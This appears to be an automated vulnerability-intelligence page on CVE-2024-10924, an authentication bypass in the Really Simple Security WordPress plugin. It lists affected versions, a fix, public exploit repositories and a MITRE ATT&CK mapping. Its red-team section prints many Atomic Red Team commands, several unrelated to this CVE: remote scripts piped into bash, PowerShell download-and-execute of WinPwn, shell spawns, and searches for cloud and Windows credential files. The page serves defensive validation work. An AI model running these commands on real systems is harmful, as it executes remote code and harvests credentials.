CVE-2024-10924
Overview
This vulnerability is an authentication bypass caused by improper error handling in user verification within the two-factor authentication REST API actions. Specifically, the 'check_login_and_get_user' function fails to correctly validate user authentication states, affecting the Really Simple Security Pro Multisite plugin's two-factor authentication feature. The flaw exists in versions 9.0.0 through 9.1.1.1 of the plugin, impacting the REST API endpoints responsible for two-factor login verification.
Vulnerability Description
The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).
Impact
An unauthenticated attacker can leverage this vulnerability to log in as any user, including administrators, without valid credentials or interaction, enabling full site compromise. The attack requires no privileges (PR:N) and no user interaction (UI:N), exploiting network access to the REST API (AV:N) with low attack complexity (AC:L). Consequences include unauthorized data access, site control takeover, and potential lateral movement within multisite WordPress environments.
Solution
Update the Really Simple Security plugin to version 9.1.2 or later, where the authentication bypass flaw in the two-factor REST API has been addressed. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/7d5d05ad-1a7a-43d2-bbbf-597e975446be) for detailed patch instructions. Users should verify that the 'Two-Factor Authentication' feature is properly secured post-update and monitor plugin repositories for further security releases.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Really Simple Security plugins for WordPress stems from inadequate error handling during user authentication processes, specifically within the two-factor authentication mechanism. This flaw occurs in the 'check_login_and_get_user' function, which is responsible for validating user credentials when two-factor authentication is enabled. The improper handling of user checks allows attackers to bypass authentication entirely, granting them the ability to impersonate any existing user on the site, including those with administrative privileges. This critical oversight poses a significant risk, particularly in environments where two-factor authentication is expected to enhance security.
Attack vectors exploiting this vulnerability are particularly concerning due to the ease with which an unauthenticated attacker can gain unauthorized access. By targeting the REST API actions associated with the two-factor authentication process, an attacker can craft requests that exploit the flawed error handling. This could be executed remotely, requiring no physical access to the server or prior authentication. Once an attacker successfully impersonates a legitimate user, they can manipulate site settings, access sensitive data, or even escalate privileges to gain full control over the WordPress installation. The potential for exploitation is exacerbated in scenarios where the "Two-Factor Authentication" feature is enabled, as this may lead administrators to falsely assume their environment is secure.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely heavily on WordPress for their online presence. Successful exploitation could lead to data breaches, loss of sensitive customer information, and significant reputational damage. For businesses, the financial implications could be severe, including costs associated with incident response, legal liabilities, and potential regulatory fines. Furthermore, the trust of customers and stakeholders could be irrevocably harmed, leading to long-term consequences that extend beyond immediate financial losses. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a severe threat to affected systems.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Really Simple Security plugins to the latest versions is essential, as this will ensure that any patches addressing the vulnerability are applied. Additionally, organizations should conduct routine security audits and vulnerability assessments to identify and remediate potential weaknesses in their WordPress installations. Employing web application firewalls (WAFs) can also provide an additional layer of protection by filtering out malicious requests targeting the REST API. Moreover, educating users about the importance of strong authentication practices and monitoring user activity can help detect unusual behavior indicative of an attempted exploitation.
In conclusion, the authentication bypass vulnerability in the Really Simple Security plugins for WordPress represents a significant threat to the integrity and security of affected websites. The ease of exploitation, coupled with the potential for severe real-world consequences, necessitates immediate attention from organizations utilizing these plugins. By adopting proactive detection and mitigation strategies, businesses can safeguard their digital assets and maintain the trust of their users in an increasingly hostile cyber landscape.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Really-Simple-Plugins | Really Simple Security | All |
cpe:2.3:a:really-simple-plugins:really_simple_security:*:*:*:*:-:wordpress:*:*
|
|
|
Really-Simple-Plugins | Really Simple Security | All |
cpe:2.3:a:really-simple-plugins:really_simple_security:*:*:*:*:pro:wordpress:*:*
|
|
|
Really-Simple-Plugins | Really Simple Security | All |
cpe:2.3:a:really-simple-plugins:really_simple_security:*:*:*:*:pro_multisite:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
WordPress Really Simple SSL Plugin Authentication Bypass to RCE
exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce
|
Valentin Lobstein, István Márton | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Really Simple Security 9.1.1.1 - Authentication Bypass | Antonio Francesco Sardella | webapps | php | - | View |
GitHub PoCs (20)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
m3ssap0/wordpress-really-simple-security-authn-bypass-exploit
Exploits Really Simple Security < 9.1.2 authentication bypass (CVE-2024-10924).
|
m3ssap0 | 19 | 17 | 2024-11-19 | View |
|
JoshuaProvoste/0-click-RCE-Exploit-for-CVE-2024-10924
Unauthenticated authentication bypass to RCE exploit for CVE-2024-10924. Abuses an authentication and 2FA bypass in the ...
|
JoshuaProvoste | 14 | 2 | 2026-01-22 | View |
|
Maalfer/CVE-2024-10924-PoC
Bypass del MFA en WordPress con el plugin Really Simple Security instalado entre las versiones 9.0.0 – 9.1.1.1.
|
Maalfer | 7 | 5 | 2024-11-27 | View |
|
Trackflaw/CVE-2024-10924-Wordpress-Docker
Vulnerable docker container for Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 – 9.1.1.1 – Authentication B...
|
Trackflaw | 3 | 6 | 2024-11-20 | View |
|
m3ssap0/wordpress-really-simple-security-authn-bypass-vulnerable-application
WARNING: This is a vulnerable application to test the exploit for the Really Simple Security < 9.1.2 authentication bypa...
|
m3ssap0 | 8 | 0 | 2024-11-18 | View |
|
RandomRobbieBF/CVE-2024-10924
Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 – 9.1.1.1 – Authentication Bypass
|
RandomRobbieBF | 4 | 1 | 2024-11-14 | View |
|
D1se0/CVE-2024-10924-Bypass-MFA-Wordpress-LAB
|
D1se0 | 4 | 0 | 2024-12-01 | View |
|
h8sU/wordpress-cve-2024-10924-exploit
A Proof-of-Concept (PoC) exploit for CVE-2024-10924, a vulnerability in the Really Simple SSL WordPress plugin that allo...
|
h8sU | 2 | 1 | 2025-02-14 | View |
|
ademto/wordpress-cve-2024-10924-pentest
|
ademto | 3 | 0 | 2025-06-25 | View |
|
Nxploited/CVE-2024-10924-Exploit
Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 - 9.1.1.1 - Authentication Bypass
|
Nxploited | 2 | 0 | 2025-02-02 | View |
|
MaleeshaUdan/wordpress-CVE-2024-10924--exploit
WordPress CVE-2024-10924 Exploit for Really Simple Security plugin
|
MaleeshaUdan | 1 | 0 | 2025-02-23 | View |
|
julesbsz/CVE-2024-10924
POC for CVE-2024-10924 written in Python
|
julesbsz | 0 | 0 | 2024-11-20 | View |
|
Hunt3r850/CVE-2024-10924-Wordpress-Docker
|
Hunt3r850 | 0 | 0 | 2024-12-03 | View |
|
sharafu-sblsec/CVE-2024-10924
CVE-2024-10924 - Authentication Bypass in ReallySimpleSSL Wordpress Plugin
|
sharafu-sblsec | 0 | 0 | 2025-03-11 | View |
|
Hunt3r850/CVE-2024-10924-PoC
|
Hunt3r850 | 0 | 0 | 2024-12-03 | View |
|
d0x-awrqxavc/-CVE-2024-10924
|
d0x-awrqxavc | 0 | 0 | 2025-04-06 | View |
|
MattJButler/CVE-2024-10924
Simple Python script
|
MattJButler | 0 | 0 | 2024-11-19 | View |
|
bodoinon/CVE-2024-10924
|
bodoinon | 0 | 0 | 2025-12-28 | View |
|
cy3erdr4g0n/CVE-2024-10924
|
cy3erdr4g0n | 0 | 0 | 2025-02-05 | View |
|
sariamubeen/CVE-2024-10924
|
sariamubeen | 0 | 0 | 2025-02-17 | View |
Threat Feed
2 eventsPublic exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.